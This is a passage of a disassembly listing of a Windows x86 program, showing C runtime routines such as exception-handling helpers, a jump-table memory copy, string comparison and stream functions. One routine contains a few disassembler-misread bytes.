arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CC95
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CCE2
; ---------------------------------------------------------------------------


loc_41CC95:				; CODE XREF: sub_41CC72+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421F36
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CCD3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CAC0


loc_41CCD3:				; CODE XREF: sub_41CC72+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CCE2:				; CODE XREF: sub_41CC72+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CC72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE7	proc near		; CODE XREF: sub_421FD1+C6p
					; sub_422178+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CD3E


loc_41CD05:				; CODE XREF: sub_41CCE7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CD0F
		call	sub_4227D2


loc_41CD0F:				; CODE XREF: sub_41CCE7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CD24
		cmp	ecx, [eax+8]
		jle	short loc_41CD29


loc_41CD24:				; CODE XREF: sub_41CCE7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CD35


loc_41CD29:				; CODE XREF: sub_41CCE7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CD35:				; CODE XREF: sub_41CCE7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CD05
		mov	eax, [ebp+var_4]


loc_41CD3E:				; CODE XREF: sub_41CCE7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CD52
		cmp	esi, eax
		jbe	short loc_41CD57


loc_41CD52:				; CODE XREF: sub_41CCE7+65j
		call	sub_4227D2


loc_41CD57:				; CODE XREF: sub_41CCE7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CCE7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD64	proc near		; CODE XREF: sub_4237BC+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41CD7C
		push	[ebp+arg_0]
		call	sub_426A1E	; RtlUnwind


loc_41CD7C:				; DATA XREF: sub_41CD64+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CD64	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD84	proc near		; DATA XREF: sub_41CDA6+Ao
					; sub_41CE0E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CDA5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CDA5:				; CODE XREF: sub_41CD84+10j
		retn
sub_41CD84	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDA6	proc near		; CODE XREF: sub_422452+Dp
					; sub_4237BC+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CD84
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CDC3:				; CODE XREF: sub_41CDA6:loc_41CDFEj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CE00
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CE00
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CDFE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CE3A
		call	dword ptr [ebx+esi*4+8]


loc_41CDFE:				; CODE XREF: sub_41CDA6+44j
		jmp	short loc_41CDC3
; ---------------------------------------------------------------------------


loc_41CE00:				; CODE XREF: sub_41CDA6+2Aj
					; sub_41CDA6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CDA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE0E	proc near		; CODE XREF: sub_422472+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CD84
		jnz	short locret_41CE30
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CE30
		mov	eax, 1

locret_41CE30:				; CODE XREF: sub_41CE0E+10j
					; sub_41CE0E+1Bj
		retn
sub_41CE0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE31	proc near		; CODE XREF: sub_422730+1Ep
					; sub_422730+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43CF3C
		jmp	short loc_41CE44
sub_41CE31	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE3A	proc near		; CODE XREF: sub_41CDA6+4Fp
					; sub_4237BC+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43CF3C
		mov	ecx, [ebp+8]


loc_41CE44:				; CODE XREF: sub_41CE31+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CE3A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CE54	proc near		; CODE XREF: sub_40CEC7+5p
					; sub_40D066+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CE54	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CE73	proc near		; CODE XREF: sub_40D4F9+22p
					; seg000:004267F5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B2A1
		pop	ecx
		retn
sub_41CE73	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE80	proc near		; CODE XREF: sub_40D566+3Ap
					; sub_41E0C2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CEA0
		cmp	edi, eax
		jb	loc_41D018


loc_41CEA0:				; CODE XREF: sub_41CE80+16j
		test	edi, 3
		jnz	short loc_41CEBC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEDC
		rep movsd
		jmp	ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------


loc_41CEBC:				; CODE XREF: sub_41CE80+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CED4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41CEDC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CED4:				; CODE XREF: sub_41CE80+46j
		jmp	dword ptr ds:loc_41CFD8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEDC:				; CODE XREF: sub_41CE80+31j
					; sub_41CE80+8Ej ...
		jmp	ds:off_41CF5C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CEF0
		dd offset loc_41CF1C
		dd offset loc_41CF40
; ---------------------------------------------------------------------------


loc_41CEF0:				; DATA XREF: sub_41CE80+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CEDC
		rep movsd
		jmp	ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CF1C:				; DATA XREF: sub_41CE80+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEDC
		rep movsd
		jmp	ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CF40:				; DATA XREF: sub_41CE80+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CEDC
		rep movsd
		jmp	ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CF5C	dd offset loc_41CFBF	; DATA XREF: sub_41CE80:loc_41CEDCr
		dd offset loc_41CFAC
		dd offset loc_41CFA4
		dd offset loc_41CF9C
		dd offset loc_41CF94
		dd offset loc_41CF8C
		dd offset loc_41CF84
		dd offset loc_41CF7C
; ---------------------------------------------------------------------------


loc_41CF7C:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CF84:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CF8C:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CF94:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CF9C:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CFA4:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CFAC:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFBF:				; CODE XREF: sub_41CE80:loc_41CEDCj
					; DATA XREF: sub_41CE80:off_41CF5Co
		jmp	ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CFC8	dd offset loc_41CFD8	; DATA XREF: sub_41CE80+35r
					; sub_41CE80+92r ...
		dd offset loc_41CFE0
		dd offset loc_41CFEC
		dd offset loc_41D000
; ---------------------------------------------------------------------------


loc_41CFD8:				; CODE XREF: sub_41CE80+35j
					; sub_41CE80+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CFE0:				; CODE XREF: sub_41CE80+35j
					; sub_41CE80+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFEC:				; CODE XREF: sub_41CE80+35j
					; sub_41CE80+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D000:				; CODE XREF: sub_41CE80+35j
					; sub_41CE80+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CE80+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D04C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D040
		std
		rep movsd
		cld
		jmp	ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D040:				; CODE XREF: sub_41CE80+1B1j
					; sub_41CE80+208j ...
		neg	ecx
		jmp	ds:off_41D110[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D04C:				; CODE XREF: sub_41CE80+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D064
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41D064+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D064:				; CODE XREF: sub_41CE80+1D6j
					; DATA XREF: sub_41CE80+1DDr
		jmp	ds:off_41D160[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D077+1
; ---------------------------------------------------------------------------
		cwde
		rol	byte ptr [ecx+0], 1
		rcl	al, 41h


loc_41D077:				; DATA XREF: sub_41CE80+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D040
		std
		rep movsd
		cld
		jmp	ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D040
		std
		rep movsd
		cld
		jmp	ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D040
		std
		rep movsd
		cld
		jmp	ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D114
		dd offset loc_41D11C
		dd offset loc_41D124
		dd offset loc_41D12C
		dd offset loc_41D134
		dd offset loc_41D13C
		dd offset loc_41D144
off_41D110	dd offset loc_41D157	; DATA XREF: sub_41CE80+1C2r
; ---------------------------------------------------------------------------


loc_41D114:				; DATA XREF: sub_41CE80+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D11C:				; DATA XREF: sub_41CE80+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D124:				; DATA XREF: sub_41CE80+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D12C:				; DATA XREF: sub_41CE80+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D134:				; DATA XREF: sub_41CE80+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D13C:				; DATA XREF: sub_41CE80+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D144:				; DATA XREF: sub_41CE80+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D157:				; CODE XREF: sub_41CE80+1C2j
					; DATA XREF: sub_41CE80:off_41D110o
		jmp	ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D160	dd offset loc_41D170	; DATA XREF: sub_41CE80+1B7r
					; sub_41CE80:loc_41D064r ...
		dd offset loc_41D178
		dd offset loc_41D188
		dd offset loc_41D19C
; ---------------------------------------------------------------------------


loc_41D170:				; CODE XREF: sub_41CE80+1B7j
					; sub_41CE80:loc_41D064j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D178:				; CODE XREF: sub_41CE80+1B7j
					; sub_41CE80:loc_41D064j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D188:				; CODE XREF: sub_41CE80+1B7j
					; sub_41CE80:loc_41D064j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D19C:				; CODE XREF: sub_41CE80+1B7j
					; sub_41CE80:loc_41D064j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CE80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1B5	proc near		; CODE XREF: sub_40D5CD+34p
					; sub_40D5CD+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B6D7
		pop	ecx
		pop	ecx
		retn
sub_41D1B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C3	proc near		; CODE XREF: sub_41D230+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_4DF55C
		call	sub_422828
		mov	edx, ds:dword_4DF55C
		pop	ecx
		mov	ecx, ds:dword_4DF558
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D222
		push	edx
		call	sub_422828
		add	eax, 10h
		push	eax
		push	ds:dword_4DF55C
		call	sub_41B3F2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D205
		retn
; ---------------------------------------------------------------------------


loc_41D205:				; CODE XREF: sub_41D1C3+3Fj
		mov	ecx, ds:dword_4DF558
		sub	ecx, ds:dword_4DF55C
		mov	ds:dword_4DF55C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_4DF558, ecx


loc_41D222:				; CODE XREF: sub_41D1C3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_4DF558, 4
		retn
sub_41D1C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D230	proc near		; CODE XREF: sub_40D6BA+1Ap
					; sub_4269FE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D1C3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D230	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D242	proc near		; DATA XREF: seg002:0042A020o
		push	80h
		call	sub_41B6C5
		test	eax, eax
		pop	ecx
		mov	ds:dword_4DF55C, eax
		jnz	short loc_41D263
		push	18h
		call	sub_41DC49
		mov	eax, ds:dword_4DF55C
		pop	ecx


loc_41D263:				; CODE XREF: sub_41D242+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_4DF55C
		mov	ds:dword_4DF558, eax
		retn
sub_41D242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D271	proc near		; CODE XREF: sub_40D83A+1A3p

var_20		= byte ptr -20h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_428130	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0B10000h
		mov	byte ptr [esi-75h], 45h
		jmp	far ptr	4DDFh:22053B66h
sub_41D271	endp

; ---------------------------------------------------------------------------
		dd 663B7500h, 66E8458Bh, 0DF20053Bh, 2E75004Dh,	0E6458B66h
		dd 1E053B66h, 75004DDFh, 458B6621h, 53B66E2h, 4DDF1Ah
		dd 8B661475h, 3B66E045h, 4DDF1805h, 0A1077500h,	4DDF10h
		dd 858D45EBh, 0FFFFFF34h, 2D1EE850h, 8390006Fh,	1B74FFF8h
		dd 7502F883h, 7D836612h, 0B7400CEh, 0DC7D83h, 16A0574h
		dd 3307EB58h, 8303EBC0h, 5756FFC8h, 0BFE0758Dh,	4DDF18h
		dd 0A5A5A5A5h, 0DF10A35Fh, 505E004Dh, 0FC45B70Fh, 45B70F50h
		dd 0B70F50FAh, 0F50F845h, 50F645B7h, 0F245B70Fh, 45B70F50h
		dd 4AE850F0h, 8B000055h, 0C483084Dh, 74C9851Ch,	0C9018902h
		dd 0CCCCCCC3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D350	proc near		; CODE XREF: sub_40D83A+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DDF6C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D3A3
		mov	al, 0FFh
		mov	edi, edi


loc_41D36C:				; CODE XREF: sub_41D350+28j
					; sub_41D350+48j
		or	al, al
		jz	short loc_41D39E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D36C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D36C
		sbb	al, al
		sbb	al, 0FFh


loc_41D39E:				; CODE XREF: sub_41D350+1Ej
		movsx	eax, al
		jmp	short loc_41D3D7
; ---------------------------------------------------------------------------


loc_41D3A3:				; CODE XREF: sub_41D350+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D3AC:				; CODE XREF: sub_41D350+68j
					; sub_41D350+80j
		or	al, al
		jz	short loc_41D3D7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D3AC
		push	eax
		push	ebx
		call	sub_41D96C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D96C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D3AC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D3D7:				; CODE XREF: sub_41D350+51j
					; sub_41D350+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D350	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3DC	proc near		; CODE XREF: sub_40E3D2+193p
					; sub_40E3D2+1DDp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, offset dword_43F578
		push	edi
		push	esi
		call	sub_420666
		mov	edi, eax
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	[esp+14h+arg_0]
		push	esi
		call	sub_41F8BF
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_4206F3
		add	esp, 18h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D3DC	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D489
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D42C
		cmp	edi, 1
		jz	short loc_41D42C
		cmp	edi, 2
		jnz	short loc_41D489


loc_41D42C:				; CODE XREF: seg000:0041D420j
					; seg000:0041D425j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D443
		push	esi
		call	sub_422A9E
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D443:				; CODE XREF: seg000:0041D434j
		push	esi
		call	sub_41DDAB
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D458
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D46C
; ---------------------------------------------------------------------------


loc_41D458:				; CODE XREF: seg000:0041D44Fj
		test	al, 1
		jz	short loc_41D46C
		test	al, 8
		jz	short loc_41D46C
		test	ah, 4
		jnz	short loc_41D46C
		mov	dword ptr [esi+18h], 200h


loc_41D46C:				; CODE XREF: seg000:0041D456j
					; seg000:0041D45Aj ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422A04
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D496
; ---------------------------------------------------------------------------


loc_41D489:				; CODE XREF: seg000:0041D418j
					; seg000:0041D42Aj
		mov	ds:dword_4DDEB4, 16h
		or	eax, 0FFFFFFFFh


loc_41D496:				; CODE XREF: seg000:0041D487j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D4A0	proc near		; CODE XREF: seg000:00412DDAp
					; sub_413991+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D4B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D4B9:				; CODE XREF: sub_41D4A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D4A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D4	proc near		; CODE XREF: seg000:0041636Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D4F8
		xor	eax, eax
		jmp	loc_41D5C5
; ---------------------------------------------------------------------------


loc_41D4F8:				; CODE XREF: sub_41D4D4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D50B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D512
; ---------------------------------------------------------------------------


loc_41D50B:				; CODE XREF: sub_41D4D4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D512:				; CODE XREF: sub_41D4D4+35j
					; sub_41D4D4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D546
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D546
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D52C
		mov	edi, eax


loc_41D52C:				; CODE XREF: sub_41D4D4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C500
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D58C
